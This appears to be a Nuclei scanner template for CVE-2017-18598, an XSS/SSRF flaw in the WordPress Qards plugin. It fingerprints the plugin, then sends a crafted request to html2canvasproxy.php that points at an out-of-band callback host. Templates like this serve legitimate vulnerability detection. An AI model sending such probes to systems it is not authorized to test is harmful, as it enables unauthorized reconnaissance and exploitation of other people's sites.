id: CVE-2017-18598

info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.01933
    epss-percentile: 0.774
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"
# digest: 490a0046304402207504a8cac4bf0a393fd8c4262568259aecc19919d389e744dd8b0a99d2e4fc64022060f3b05f903bae298db2b6f416f43f4273a12187085381ad176e919fbb207225:922c64590222798bb761d5b6d8e72950